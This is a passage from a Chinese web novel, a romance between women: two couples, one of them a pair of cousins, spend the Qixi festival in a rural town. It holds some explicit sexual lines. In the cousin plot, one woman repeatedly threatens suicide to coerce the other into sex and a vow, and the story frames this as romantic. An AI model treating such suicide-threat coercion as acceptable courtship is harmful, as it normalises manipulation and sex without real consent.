吃完饭后,池厢月罕见的没有逗留,同她们说了几句话便走了,拉着小表妹脚步飞快,回到自己家关上门,背对着人道,“今晚早点睡吧,你,你别想太多了,我不是真心要让你住去渝归家的,开个玩笑,开个玩笑罢了。” 表妹对住到别人家这件事反应巨大,她不得不说自己只是开个玩笑,免得表妹当真失望至极,做出什么错事来。 楚晚棠知道,她这些话才不是真心话,她就是想让她住到旁人家,想与她拉开些距离,不想她再做磨镜。 可,她不愿。 她早已深陷,如何能抽身? 她抽不了身,表姐也休想。 把人带回自己家,甚至用锁锁住房门的池厢月松了口气,刚扭头欲说话,就被一只微凉的手摁住肩膀,抵在门上,对方仰头亲吻过来,她挣扎不了一点,只能呜呜嗯嗯出声。 本来好一些的唇,又被吻的更加红肿了,池厢月面无表情心如死灰,这不是她第一次被亲,但她甚至没有胆子推开。 万一推开了,表妹又露出那副仿佛失去一切的表情呢? 她哪里经受得住那般的表妹,看的她心都要碎了! 又怕表妹做傻事,从昨日到今日,是任对方做什么都不敢反抗的,被亲也是。 好一会儿,两人才分开,她抬手摸了摸红彤彤的嘴,发现上面又被咬了一个破口,池厢月身形一僵,心里其实有些愤怒,亲就亲,为什么老要咬我! 今天她吃饭时可疼了! 但她没有胆子质问表妹,见表妹从她身上起来,原本冷淡难看的脸色好了许多,心中甚至松了口气,“你,你不是爱看书吗,我陪你看一会儿吧。” 不然她单单把人关在屋里,也没别的事好做,棠棠估计不会依她。 楚晚棠矜持点头,看起来与平日没什么两样,可等坐到榻上,却又不一样了。 池厢月规规矩矩靠在床头,手里握着话本,两条结实有力的长腿舒展着,楚晚棠拿过自己最近在看的游记,上榻后就极自然的躺进表姐怀里了。 表姐本人:…… 你这样是否有一点不合适? 她看看表妹,又看看自己,欲言又止,直到表妹一眼斜过来,彻底闭嘴了。 从昨日起她表妹就同疯了一般,她着实不敢招惹,罢了,不过躺一下,多一事不如少一事。 宋渝归眼看着两人离去,与自家媳妇儿背地里蛐蛐,“我觉着她们已经成了。” 沈惜枝也猛猛点头,“楚姑娘咬的好生凶,我都舍不得这么用力咬你的。” 但是咬过了之后两人仍旧形影不离,已经很能说明她们此时的关系了。 就算还未在一起,也是快了。 “还是小枝儿心疼我,来,亲一个。” 偌大的屋里只有她们两人,她早已习惯随时低头索吻。 沈惜枝被亲的顿了一下,才面无表情把后面的话补齐了,“但是你咬我很用力。” 宋渝归:…… “那,那咬在别的地方和嘴上怎能相提并论……” 她说话的声音越来越轻,越来越心虚。 说完后默默低下头。 确实咬的有点重,她无可辩驳。 “哼,罚你今天不许咬了。” 宋渝归乖乖跟在妻子屁股后头走出庖厨,认真竖了三根指头发誓,“不咬了,我今日肯定不咬你。” 平日两人亲昵时,雪白挺翘的臀瓣上不是覆着一个又一个红彤彤的巴掌印,就是被人咬出来的牙印,今日有了人盯着,宋渝归老实了,只用手指戳进去极轻极温柔的弄了一回,也不像之前水流的旧衣裳湿透,兜也兜不住了,今日只湿了一只手掌而已。 昨日两人做的稍过分了些,她刚刚趴下去看,感觉小豆子还有些胖嘟嘟的,像是没养好,自然不敢太过分。 沈惜枝眉眼间满是餍足,就躺在人怀里被人欺负,红唇微微张开,偶尔泄出几个娇软字音,诱人极了。 两人如今睡得更早了,吃完饭后只是弄一弄那里,无论弄完是什么时辰,都擦洗完就互相拥着开始睡觉。 第二日起的也不算艰难。 一大早便利落起床,推了推车要去杀猪卖肉。 令人惊讶的事,隔壁屋这个点居然也开着窗子,并且里面还探出一个长发散落的人头来,初望见时,给宋渝归吓得三魂没了七魄。 还以为自己起太早撞鬼了呢。 直到那颗头听见动静微微扭过来,看向她们。 她才发现,卧槽,居然是生无可恋的女主。 一大清早扮鬼吓人做什么? 还好夏季白日多,要是换成冬天,此时还是黑漆漆的,看着就恐怖。 她估计能被吓得停业一天。 惜枝的胆子也是同小猫儿一般,初看见人头时,便惊慌失措的躲进妻子怀里了。 宋渝归一边抱着媳妇儿,一边无奈冲那边问,“池姑娘,起的这么早便在此处装鬼吓人?” 池厢月面色扭曲了一瞬,不等她说话,里面伸出一只青葱玉手,挽着她的肩膀,将她拉了回去,取而代之的是另外一张柔美面孔。 即便在乡下这种地方,周身也自带一股矜贵气质,并不像鬼。 她对两人点点头,温声道,“你们去镇上吧,我不让表姐打扰你们了。” 说罢,关上了窗子。 宋渝归扭头一脸诧异,“她们一夜未睡吗?” 沈惜枝娇娇挂在妻子怀里,抿唇思考,片刻,认真点头,“看上去是的,天呐,她们都不困吗?” …… 大抵是困得吧,只是有些事情没解决完。 屋里,楚晚棠冷着一张面庞,低头看去,“怎么,就这么不想碰我?” 她的上身整齐的随时都能出去走动,不需整理,然而下身却…… 根本没穿什么,刚刚池厢月见她探头出去,已经要吓死了,幸好她只说了一句话,便关上窗户。 但仍有惊吓的余韵留在心里,叫她有些生气,咬着腮帮子道,“你疯了,万一被人看见怎么办?!” 楚晚棠冷冷睨她一眼,“是表姐开的窗户,我还以为表姐不怕我被人看见呢。” 池厢月刚凶没一会儿,又顿时心虚起来,“那,那我不是把你包好了才敢开的嘛,我想透透气。” 假的,她想逃避一下现实,想变成风吹走算了。 一想到她竟然亵渎了心里洁白无瑕冰清玉洁的表妹! 她就觉得不如死了算了,无颜见任何人了。 “呵,表姐很不愿与我在一起?” 她平日里端的是优雅大方光风霁月,自从被发现心思后也是不装了,仗着表姐素来疼爱她,日日欺辱表姐,逼着表姐躺平任亲不算,昨儿,她靠在表姐怀里,可表姐身体始终僵硬,她只是下去倒个水,都能察觉到表姐狠狠松了一口气。 就这般排斥她,这般不愿吗? 心里的怒意一下子起来了,她没忍住,逼着表姐要了她。 表姐自然不愿。 可是她说了,表姐心疼她,怜惜她,总会对她心软,心软,就有机可乘。 池厢月听见表妹的冷言冷语,心里都要怕死了,怕她下一秒就说不活了,又怕她逼着自己再要一次,恨不得原地遁走。 好一会儿,四周寂静无声,她才绝望的接受了不能遁走的现实,悄悄睁眼,表妹仍凉凉的盯着她,她心中一紧,只得干巴巴道,“不是,我没有不愿啊,我只是觉得……我们怎么说也是表姐妹,我素来将你当亲妹妹看待的。” 她又一次将这番姐妹论说出来,可楚晚棠只问一句,“我亲你时,你可觉得想吐?我让你碰我时,你可觉得我恶心,怨恨于我?” 池厢月听她贬低自己,眉心就皱的能夹死蚊子,立马反驳,“自然没有,你别乱说,我怎会觉得你恶心,更不会怨恨你。” 谁会觉得我冰清玉洁恍若仙子的表妹恶心啊!谁对着这般人,会想吐? 表妹从小没有娘亲,她疼表妹还来不及呢,就算,就算表妹对她做了这种事,她也不会怨恨表妹的。 楚晚棠淡然安静的望着她。 池厢月骤然明白她为何有此一问,脸都僵了,磕磕绊绊为自己辩解,“这,这也不能代表什么啊。” “那你会亲宋姑娘吗?” 池厢月一呆,她认识的人里有两个宋姑娘,渝归和心雨,但无论哪一个,她都做不出亲她们的举动。 “如果她非要亲你,你也会不拒绝,甘愿被她触碰吗?” 光是想一想,汗毛就立起来了,心里还有些恶心。 她把她们当朋友,怎么可能与她们越界! 一看表姐那隐隐嫌恶的表情,楚晚棠明白的不能更明白了。 她垂眸轻笑,笑自己赌赢了,也笑表姐不敢承认自己的心意。 明明就是喜欢我,偏要拒绝我,世俗便那般要紧吗? 表哥表妹尚且可以联姻,换了表姐为何就不成了? 表姐笨蛋,竟是迟迟想不明白。 不过没关系,她明白就好,表姐早晚会妥协的。 女子轻轻伏下,伏在心爱的表姐胸口处,温柔要求,“再弄一次吧,好姐姐,不然我今日便服毒自尽。” 池厢月:…… 这合理吗? “你,你别总用死不死的威胁我!” 她不适极了,下意识对表妹欲以生命为代价的话感到十分排斥。 “嗯,可是我不这么说,你总不会如我的愿。” 她嘴上说着,腰肢却在人怀里轻轻扭了扭,催促一般,语气略带娇意,“你快点,不然我马上就让流筝去给我买毒药。” 这话真是能把池厢月气死又气活,她将人狠狠翻了个身压在下面,神色严肃,“棠棠,你要什么与我好好说,我未必真的不会如你所愿,不许再说方才那样寻死觅活的话,否则我真的生气了!” 她明明就已经很生气很生气了,可还是在叫她棠棠。 楚晚棠眉间骤然漾开一分柔软,唇角也微不可察悄悄上扬,“嗯,那你再弄我一回,一回就好了。” 两人对视片刻,池厢月不情不愿的撇了撇嘴,那只手终是一点一点撩开轻薄纱衣。 漂亮的姑娘连这处都有些白嫩…… 池厢月看了一眼便不敢看了,小脸一直仰着,薄唇紧抿,好像什么正人君子一般。 楚晚棠若非被弄得失了力气,定要好生笑话她一番。 她伸着天鹅似纤长雪白的脖子,面若桃花,嘴里一个字也说不出来。 只能在心里愉悦想着,表姐的话本子都没有白看。 若非她追着来了这里,还不知道表姐私底下竟也会看磨镜的话本呢…… 且不止是带字的,更有画了清晰图纸的,这等东西她都不好意思看,表姐却…… 还敢说自己不是磨镜。 哼,谁会信服。 今日卖完肉回去,宋渝归便发现,那两人似乎和好了。 小表妹的神色不似昨日带着些微冷意,而是温柔极了,见到她们甚至含笑点头示意。 池厢月自己找了位置坐下,手却还拉着表妹的手腕,一下也不肯松,看着离自己最近的位置,问她,“你不坐吗?” 小表妹摇摇头,缓声道,“我月事快来了。” “……哦。” 她这么说,池厢月便懂了,在这个位置上坐了一会儿,确认坐热了,立即起身,扶着小表妹坐下去,自己坐到了最近的位置上,心里却着实松了一口气。 要来月事了啊。 来月事好啊,来月事好。 她脸上的庆幸几乎难以掩藏,太容易叫人看出来了。 楚晚棠气闷,抿了抿唇,悄悄瞪了表姐一眼。 有什么好高兴的,等我月事走了,定叫你几倍还回来。 今日卤了昨日的牛肉,是香辣口的,饼皮浇上一点汤汁,不用番茄酱也好吃。 但惜枝爱吃番茄酱,还是抹了多多的番茄酱。 今日她们又从镇上买了两盆番柿,专门吃那果子。 “等有功夫了,我们去弄些番柿种子来,自己在家种一些。” “家里哪有地方专门种番柿,你若爱吃,明日去街上再买两盆便是。” “可是五盆感觉好少啊,也吃不了多少。” 沈惜枝纠结犹豫,一点点蹭到妻子怀里去,一双漂亮眼睛睁了睁,望向她,似在等她拿主意。 宋渝归摇头无奈,“那要不我们不种白菜了,改种番柿?” 白菜也好吃,但比不上番柿卖的贵呢,外面买白菜两文就能有一大个。 沈惜枝猛猛点头,乌黑柔顺的青丝从身后掉到两侧,眼眸微微眯起,“明日我们就去买种子,等这一茬白菜吃完了,我们就种番柿!” “好。” 宋渝归揉了揉惜枝的腰,没有关注旁边别扭的表姐表妹,与她聊着过段时日的七夕节。 她从来没与人过过七夕。 机会难得,也觉得新鲜,非要去街上凑凑热闹。 沈惜枝亦是。 从前她要在家里做家务,镇上无论有什么节日都与她无关,她从未参加过,没有看过那般热闹的场景,如今却不一样了。 和渝归姐姐一起过七夕,感觉定会十分十分不一样的。 沈惜枝很有些期待。 池厢月听见七夕二字,心念一动,不过很快就不敢动了,她和表妹变作如今的别扭模样,不就是因着这该死的七夕。 楚晚棠也听见了两人说话,淡淡看向表姐,“表姐打算怎么过七夕节?” 池厢月心如死灰,“在家躺着过。” 小表妹:…… 脸色一瞬阴沉下来,方才的温柔笑意全数消失不见,她冷冷道,“怎么,不能和宋星川一起参加七夕节,你就不想过了?” 宋渝归坐直身子,天呐,要在我家打起来了? 她下意识抱着媳妇儿,手臂越收越紧,沈惜枝也乖乖由她抱着,侧坐在妻子怀里,耳朵竖起听八卦。 池厢月手忙脚乱解释,“不是,你胡说什么呢,怎么可能是这样的,我就是,就是不想出去而已,在家休息一下嘛,人家七夕都是有情人一起出去,我……” 她说到这,又发觉自己说的不对,于是默默闭紧嘴巴,知表妹马上就要生气了。 宋渝归也默念一句,完蛋。 表妹果然不负众望,闻言彻底冷了脸,原本被人握住的手狠狠一甩,神色冷艳,“好啊,你约宋星川,是将他当做与你有情的人看待了?” 池厢月第一次这样无措,根本不知道该如何为自己解释,“不是!我跟你说过的呀,我不知道为何会说出那些话来,我也不喜欢宋星川,看见他就烦,你还不知道吗?何苦这样污蔑我。” 她看上去竟还有些委屈。 楚晚棠拧眉一甩宽袖,“你的心思,我要如何知晓,你与我说的话,谁又知道是真是假,我只知道,你邀了宋星川一同过七夕,却不愿与我一同过!” 楚晚棠内心同样委屈的紧了,眼尾泛着浅浅的红,宋渝归她们都要一起过七夕! “你不信我?” 两人各有各的委屈,互相瞪视对方,看起来已经要掀桌子了,宋渝归见事态有些失去控制,连忙把媳妇儿放下,让她自己坐一会儿,出来打圆场,“别吵架别吵架,楚姑娘,池姑娘说的都是事实,她只是不太会说话,你别生气,气坏了自己池姑娘又该心疼了,池姑娘,楚姑娘也只是有些醋意,磨镜都爱吃醋,一时上头说了气话,她素来听你的,你说什么她都信,怎么会不信你呢,她就是口是心非,和惜枝一样一样的,你这时候好好哄哄她就是了。” 没必要吵架啊,真没必要,吵架多伤感情啊! 她能看出异样,也在这对表姐妹意料之中,两人并未遮掩,池厢月倒是想遮掩,她表妹非要大大方方的叫别人瞧出来。 但饶是再意料之中,听见磨镜二字,还是难免叫人红了脸。 楚晚棠听见那句,气坏了自己池姑娘又该心疼时,脸色便缓下来了。 是啊,表姐对她多好,她是知道的,她现在所做的一切出格之事,都是因为知道表姐对她好,她不可能真的不要她,生她的气,才敢做的。 池厢月听见她是生了醋意的话,心里还是十分不自在,十多年姐妹一朝变成那等关系了,她浑身都觉得不对,哄,哄一哄吗? 可棠棠已经没有当初好哄了,我现在还能把她哄好吗? 池厢月都不自信了。 沈惜枝却在一旁听的气呼呼的,“我才不是口是心非呢,我说的就是心里想的!” 不是,我这边又闹起来了? “小枝儿,你别跟她们学着,我们不吵架。” 她一面无奈说,一面探手去拉自己媳妇儿的手。 沈惜枝挣扎了两下,还是被挽住了。 自家媳妇儿果然比楚姑娘好哄多了,宋渝归趁着另外两人没心思搭理她们,低头亲了惜枝一口,抬头见两人各自站在对面,一言不发,挑了挑眉,“池姑娘还不去哄楚姑娘吗,拖的越久越不好哄,你们就别闹脾气了,互相哄一哄,说开了便好了,池姑娘对宋星川绝无他意,我可以向楚姑娘保证。” 楚晚棠没有说话,只沉默的看着表姐,她当然知道表姐不喜欢宋星川,只是刚才真的太过生气,莫名的酸意侵蚀了她的理智,害她说错了话,眼下又没有台阶可下…… 池厢月被宋渝归催促,才想起来该哄人了,薄唇抿了抿,竟只是伸出一只手,说了一句话,“走不走?” 宋渝归:……瞪大眼睛。 还能这么哄人的? 我要是敢这样哄惜枝,头盖骨都能被撬开! 但楚姑娘今日发了这么大的火,得到一个如此敷衍的哄,居然也不生气,乖乖就将自己的手递过去了,被池厢月拉到身边,只神情有些委屈,“那我和棠棠先回去,今天给你们添麻烦了。” “我们之间不必说这个,你快走吧,今日好好哄哄楚姑娘,不要敷衍她。” 不然明天吵的更厉害了,谁都不得安生。 “嗯。” 池厢月看了表妹一眼,表妹低头只盯自己的绣花鞋,她顿了顿,才轻声答应。 楚晚棠闻言,心下又松了一口气。 第77章 七夕节,表姐的转变 棠棠近期很不好哄。 这是池厢月对楚晚棠的印象,因此,把人唤回家后,她反而有些紧张,“你……我真的不喜欢宋星川,我只是最近有些累,也不知道怎么过七夕好,干脆就不过了,你知道我的,我从来不过什么节日,嫌麻烦。” 她在表妹身边温声解释。 楚晚棠自然知道这些,可是…… 她语气仍带了几分怨念,水眸微微抬起看了她一眼,“你虽不过节日,却很爱热闹,是不是因为要与我一起过,你才不愿过的?” 池厢月:…… 某一种程度上,小表妹猜对了,但她绝不会这样说,若敢如此说,这几日性情大变的表妹非得要她好看不可。 她咽了咽口水,声线绷紧,“也,也不是,就是觉得没甚意思,七夕节以往在京城我也去玩过,不过是一些灯笼,有情人成双成对玩游戏猜灯谜罢了,没什么意思,不如在家躺躺。” “可是我想过。” 即便她如此说,楚晚棠也是不依,一双眼睛安静的望着她,等待她的决定。 池厢月敢保证,如果自己再说不过七夕的话,表妹就要炸了。 最后只得紧张又干巴道,“你,你想过啊……那行吧,你想过我就陪你过一下嘛。” 她终于答应了,楚晚棠安静的望着表姐,好一会儿,才勾起唇角露出一个温软的笑来。 “嗯,我想过,我想与表姐一同过七夕节。” 怀里被塞进柔软的身体,池厢月下意识伸手去摸,却摸的冰冷冷的。 她皱眉,“身上怎这般冷?” 楚晚棠眉眼含幽带怨,娇嗔的望着她,道,“还不是表姐与我生气,我心里又醋又慌,还以为表姐当真如此厌我,吓得。” 池厢月:…… 你看起来不像胆子这么小的人,有点不信。 不信归不信,她还是老老实实把人按在怀里,搓揉她的身子替她取暖,过一会儿又发现不对,这样能暖个锤,“要不上床,你盖被子看会儿书?” 小表妹一双凤眸眼波流转,轻声问,“那表姐会陪我一起吗?” 池厢月:…… 你不要太黏人了! 她心里有些愤愤,嘴上却极为屈辱的答应了。 “好,我陪你一起,你,你先躺进去吧,我帮你拿一下书。” “嗯。” “今日看游记还是诗集?” “游记吧,劳烦表姐了。” 她不生气时显得温温柔柔的,池厢月心里一松,转身拿了两本书回来,表妹已经在床榻里坐好了,一双如水烟眸紧紧盯着她,在她进被窝的第一时间便了缠过来,抱住她,毛茸茸的脑袋靠在她胸口上。 声音柔软惑人,“表姐,你喜欢我穿着衣服看书,还是脱了衣服看书呀。” 池厢月:…… 眼神复杂,“我喜欢你不要说话安静的看书。” 话音刚落,果然被小表妹拧了一下腰间软肉。 表妹笑盈盈看着她,“表姐再说一次,我方才没有听清。” 她的神情虽仍旧温柔,池厢月却不敢造次了,莫名怂了吧唧,低头道,“还是穿着衣服看吧,我们都是正经人家,你别总那样。” “正经人家只是在外面正经,床榻之间还不定是怎么样的呢。” 楚晚棠不服,靠进表姐怀里,但到底没有非要脱衣服,只是安静的靠着,过了一会儿,提出要求,“你抱着我看。” 池厢月好不容易松快一下,她又这样,瞬间僵硬了,“这,不好吧?” 小表妹眸子沉了沉,她的手臂便不听使唤,自己抱上去了。 内心悲愤不已,小表妹变了,我现在是一点也管不了她了! 七夕节转眼便到了,楚晚棠手中握着一支并蒂海棠花步摇,一支金镶玉明珠步摇,问表姐,“哪支好看?” 一段时日过去,池厢月竟对不同以往的表妹有些接受了,见她问自己,抿了抿唇,认真看过几遍,抬手指那海棠花步摇,“这个。” “嗯。” 不触及旁的问题时,小表妹也极为听话,听她说海棠花好看,便簪了海棠花,另一屋,沈惜枝已簪好一支碎珠步摇了,揽着妻子的手轻声问,“我们自己去过七夕吗,不等池姑娘她们?” “嗯,我们两个人偷偷过,她们想必也更想自己过。” “嗯嗯,今日妻君可以多花一点钱。” 她的妻子可爱花钱了,但她会拦着,不许她花钱,这段时日两人已攒了二三十两银子,也算少有家底,趁着节日可以稍微多花一点。 “嗯,可以多多少?” 她心里得有个数,不然看见什么好的都买了,哪会节约。 “五百文,今日能花五百文。” 啊,五百文,多吗? 宋渝归脸黑了一瞬,戳戳媳妇儿小腰,被人瞪了一眼,仍有些不愿,“五百文连一支好些的钗子都买不到,再多点呗。” 她不愿意,小枝儿也不愿意,如画的眉目紧皱着,“我们今日不买珠钗,也不买衣裳,这些已经有很多了!” 再买,家中该装不下了。 “哪里多了,你的夏衣只有两身,今晚再买一身又如何?你再不买,夏天都过去了。” 说到夏天要过去,沈惜枝睁了睁漂亮的眸子,兴奋道,“那就更不必买夏衣了,我还有好多身秋衣春衣可以穿呢~” 买春秋的衣裳是最实惠的,可以穿两个季节。 宋渝归十分无奈了,“那不买衣裳首饰,我能买些什么?” “可以买灯笼呀。” “就买灯笼吗?” “不然还有什么,听闻七夕节会有漂亮的小玩偶卖,这个想必不贵,也可以买的。” 她爱买贵价的东西,但买了难免让媳妇儿忧心,思来想去,不买也好。 买东西不就图个开心吗。 “嗯,那好吧,都听你的。” 沈惜枝笑的眯了眯眼睛,重复道,“嗯!都听我的!” 两人收拾好便去了街上,等池厢月去寻她们时,屋里一个人都没有了。 她心里悲愤,说好的好姐妹呢,怎么不等我! 还想着多两个人结伴同行,棠棠或许能收敛一点呢。 现在…… 池厢月小心回头,见表妹温柔笑着看自己,心如死灰。 啊,我怕是不能指望别人了。 “渝归姑娘与惜枝姑娘既然不在,我们就快些走吧,不然赶不上猜灯谜了。” 池厢月垂头丧气的走过去,心中却禁不住想,我才不要猜什么灯谜呢,我又猜不中,只求你一会儿在马车上莫要动手动脚就好。 她忧心忡忡的。 驾马车的人是流筝,只听小表妹的话,她又舍不得伤了小表妹,到时真是叫天天不应,叫地地不灵。 宋渝归与惜枝早早坐牛车进了镇上,夜色刚浓,摊子都已摆上了,处处有热闹的活动。 沈惜枝拉着妻子这儿看一眼那儿看一眼,甚至活动都参与了两个,但皆……没有赢得奖励。 小姑娘有些泄气,嘟着小嘴不大高兴。 宋渝归在旁边温声哄她,“没关系的,我们去别的地方买个小狐狸回去摆着就是,好不好?也不一定非要自己赢的。” 我俩都没这脑子,真是参与一次输一次,泪目了。 沈惜枝柔柔靠在妻子怀里,有点委屈的点点头,她便带着人去了旁边的摊子上。 刚刚发现的,这里也有小狐狸木雕,小狐狸两只眼睛是一条缝,有大大的尾巴,乖乖坐着,看起来憨态可掬的,特别可爱。 跟那只拿来做彩头的凶狐狸比,也不差什么了。 “买这只好不好?” 沈惜枝将狐狸拿起来,仔细看了一遍,咬着一点唇瓣微微点头,这只也很可爱,而且是妻君给她买的,她会很喜欢很喜欢的。 听她答应,宋渝归看向老板,多少钱一只? 今日是节日,老板心情也好,笑着比了个数字,“要十文钱,姑娘买吗?” 还挺贵。 小枝儿眼巴巴看着妻子,明明家里的钱她也能管也能花,可她就喜欢让宋渝归给她买东西。 她浑身上下的行头,哪一样都不是自己买的。 两人买了狐狸,正欲离去,有一人从背后追了过来,站在她们前面,神情却还犹犹豫豫的。 宋渝归皱眉,见到这人脸色便算不上好,沉眸凝眉,等着对方说话。 沈惜枝下意识往身边人怀里躲了躲,看得宋星川神色微黯。 他这才开口喊人,“堂姐。” 喊完一个又看向另一个,似乎有些不情愿,磨磨蹭蹭的叫了一声堂嫂。 沈惜枝面无表情颔首。 “你们也在镇上啊。” “嗯,堂弟也来参加七夕节吗?” 她垂眸打量着宋星川前后左右,无人跟着,他是一个人来的。 他爹的一个人参加七夕节? 男主混的可真没个男主样。 但宋渝归心里有点高兴,小说里这时候因为女主的加入,他可谓是左拥右抱,春风得意。 心中下意识冒出这个词,她又颇觉不喜,抱个屁,我媳妇儿只有我能抱。 “我,我来镇上看看。” “一个人来的?” 她又问。 宋星川微微点头。 哼。 “那你暂且玩着吧,我与你嫂子还要去别处看看,就不和你说话了。” 宋星川抿唇,视线又悄悄落在沈惜枝身上,见她只顾拉着堂姐的手,眼里也全是堂姐,心中说不出是个什么感受。 别扭,酸涩,不甘,不信。 可他与沈惜枝分明极少往来,为何偏对她有这等异样的情感? 宋星川胸膛鼓涨,不舒坦极了。 不,也不止是对堂嫂,还有那位厢月姑娘。 一开始他最是厌烦这等天真烂漫的娇姑娘,觉得她们只会添乱,可后面不知不觉,就生了旁的心思。 可惜没多久,心思被人斩断了。 他不敢再肖想池厢月一分一毫,满脑子里想的人,便又成了沈惜枝。 她虽不常在村里走动,可他时常听说她,听到她的父母曾如何薄待她,她的兄弟如何欺负她,她如何在一众恶人中委曲求全,若是生长于这样的家境,她嫁与女子,大抵只是为了保全自身。 而无关情爱。 从前去沈家求娶的也有男子,这足以说明,沈惜枝并非磨镜。 与女子成婚,她受了很大的委屈。 宋渝归不知对面看起来憨厚老实的堂弟在想这些,否则非得大声辱骂不可,还拉着惜枝与他告别。 惜枝有些敷衍,点了点头就屁颠屁颠跟在妻子身后走了。 留下宋星川站在原地,一脸怔愣,她仿佛……看了我一眼。 两人在七夕的街市上逛了许久,又是做了纸鹤,又是去红娘庙挂了签子许了愿,临走时碰上了脸色不大好的表姐表妹。 池厢月一见到宋渝归,立马精神了,几乎泪眼汪汪,语带控诉,“渝归,你怎么偷偷走了!你知不知道我刚刚碰到宋星川了!” “你也碰见宋星川了?” 宋渝归诧异。 “是啊,你也碰到了吗。” 池厢月苦着小脸,表妹知道她不喜欢宋星川,但仍对宋星川抱有恶意,只对他抱有恶意就算了,回来还要发疯折腾她,日子真是过不下去了。 “你又和以前一样,看见宋星川就迫不及待靠近了?” 宋渝归神色凝重,她还以为过了这么久,女主一直没去找男主,该是因为剧情的力量已经消失了。 池厢月摇摇头,“没有,我看见宋星川倒是没什么感觉。”? “那你气什么。” 既然没有感觉了,那碰见就碰见呗,当个陌生人一般,这有什么的。 话音刚落,惜枝就杵了她一下,示意她去看池姑娘的嘴。 宋渝归凝眸看去,豁,这么新鲜的口子。 对方怨念的盯着她们,她们终于明白了,原来是一碰见宋星川,楚姑娘就不对劲了啊,把人嘴唇都咬破了。 再度咬破。 这…… 这有什么办法嘛。 楚姑娘介意宋星川,也是事出有因,她们说不得楚姑娘什么。 宋渝归怕两人在街上就吵起来,只得急忙转移话题,“那什么,我跟惜枝刚刚挂完许愿签,你们要不要挂一个?这是红娘庙,听说与心上人一起在此处挂了签子,可以白首不分离。” 这果然很吸引楚晚棠的注意,她下意识看过去,眉目浅浅露出几分笑意,“是姻缘树吗,我在京城也曾挂过。” 池厢月:??? “你与谁一起挂的?” 她突然发问,神情严肃,又有点凶。 楚晚棠发觉些什么,嘴角勾起一抹上扬的弧度,竟直接问,“表姐不是不喜欢我吗,那我与谁挂的,表姐又何必在意?” 池厢月脸色一僵,色厉内荏道,“我那是关心你,与喜欢无关,我怕你被别人骗了!!!” “表姐总是不肯说能让我高兴的话。” 楚晚棠嗔了她一眼,倒是没有生气,哪句话是真哪句话是假,她还分得清楚。 “走吧,表姐,我们也去挂一个。” 池厢月气闷的走在人身后,眼睁睁看着对方写下签子,“愿表姐与我岁岁年年,永不分离,缠绵到死。” 她写完了自己的,放下笔,还催着池厢月,“表姐也快写吧,你就写,愿同表妹死生契阔,世世相守。” 她知表姐读书差了一点,可能不会写,词都给她想好了。 池厢月:…… 她握着笔,任由墨汁滴落,沾染了签子,艰难问,“能不写吗?” 她总感觉若是随表妹的愿写了,以后就再也没办法把表妹掰正过来了。 那她如何对得起娘亲,对得起舅母在天之灵? 天杀的,这可是我舅母唯一的女儿! 我还答应过要帮舅母好好照看表妹,免表妹受人欺负的,现在倒好,照看到自己床上去了。 无颜再见舅母了。 小表妹听她似乎不愿写,抬了抬下巴,微微点头,气息冷漠几分,“你当然可以不写,你若不写,今晚我就不与你回去了。” 池厢月眼眸一亮,“你要回京城?” 回京城好啊,回京城那般多俊秀公子,指不定哪日就掰回来了。 楚晚棠:…… 恼怒道,“我找个地方吊死!” 池厢月:!!! “不行!你这人怎么一个不和你心意就寻死觅活的,你你你,别太过分了你!” 给她气的都语无伦次了。 楚晚棠也不管表姐多生气,冷着脸望她。 池厢月脸一阵青一阵白,许久,也只能认输。 “真是怕了你了。” 她将染脏的签子换掉,换了一张干净的,正提笔要写,楚晚棠又把让她写的话重复了一遍。 她只得将本来想祝愿表妹无病无痛长命百岁的字语咽了回去,按表妹的要求写了。 池厢月虽是习武之人,但从小也没少请教书先生,字写的不错,宋渝归凑近去看了,看不明白,但是很好看。 写完后,她提起签子吹了吹,表妹又提出新的要求,“你将它挂到最顶上。” …… “哦。” 池厢月受气小媳妇儿似的撇撇嘴应了一声,握住两个签子,长腿一蹬树根,便飞跃而起,引来周围一众挂签人的惊呼,还有谩骂。 她那一脚把有的人好不容易挂上去的签子给蹬掉了,不得不帮人家再挂一次。 挂完签后,四人又分开了。 宋渝归要和惜枝慢慢走回去睡觉,池厢月她们才刚刚出来,自然还要再玩一会儿的。 两人走在灯火通明的街市上,池厢月一路都不曾主动说话,此时也是憋了又憋,还是没忍住,把满脸新奇的表妹拉住,“之前你到底和谁一起许的愿?” 楚晚棠听她终于问出来了,眼中闪过一抹得意。 “表姐很在意这件事吗?” 她问。 池厢月抿唇沉默,在意,当然是在意的。 心里莫名的不适,让她非常想要问清楚。 见楚晚棠不说,她也骤然生了气,眉心微凝,“不说算了,我不管你。” 说罢就要走,模样干脆利落的很。 楚晚棠可不敢叫她走了,连忙伸手挽住她的手臂,眉眼含笑,“好了,我又没说不告诉你,我的事,无论表姐想知道什么,我都会说的。” 池厢月停住脚步,便听表妹进一步抱住她,温声与她道,“我是和流筝一起去的,不然没人帮我挂许愿签,表姐会吃我和流筝的醋吗?” 不是,谁说我吃醋了? 虽然心里听到是和流筝一起去的,她放心了很多,但仍要为自己正名,“我没有吃醋,你别胡说。” “嗯,表姐说没有就是没有吧。” 她极其敷衍的回了一句,但显然心里并不相信。 池厢月也沉默了,她不知道怎么为自己解释,只在心里给舅妈好好磕了三个头。 舅妈,我对不起你,下一辈子不做你外甥女了,我把持不住。 宋渝归与沈惜枝走在回村的小道上,忍不住想起剧情是不是放弃女主,转而侧重大反派了。 因为她俩在回去的路上,又碰见了刚好也要回去的男主…… 天杀的,为什么这么巧! 她本欲装作看不见男主的,可偏偏,那人就走在她们旁边,不紧不慢的,刚好和她们步伐一样,还总用眼睛偷觑她们,宋渝归忍无可忍,这才同对方打了招呼,面容僵硬,要笑不笑。 “堂弟,我们又见面了。” 宋星川也点着头,喊人,“堂姐。” 还好意思喊呢。 堂姐心里不舒服,面上却没有表现出来,只问,“你怎么不在镇上多玩一会儿,现在就回去吗?” “嗯,我娘还在家里等我,我早点回去。” “堂姐和堂嫂也不玩了吗,今日难得热闹。” “嗯,明天要去镇上,就先不玩了。” “堂嫂和你一起去吗?” 他隐晦的视线又落在沈惜枝身上。 沈惜枝生性细腻敏锐,接连几次受到隐晦的注视,终于确定了什么,微微皱眉,下意识往妻子身边靠了靠,宋渝归察觉她的靠近与紧张,抬手揽住她的腰身,“嗯,我不放心惜枝一个人在家里。” 宋星川心想,怪不得我几次过去都不见她人影,原来是跟去镇上了。 卖肉起的可比干农活要早的多,堂姐是不信任堂嫂,所以才要把堂嫂带在身边看着吧? 她也知磨镜有违天和,难以两情相悦? 至于沈惜枝是主动跟人去镇上的,宋星川没有想过。 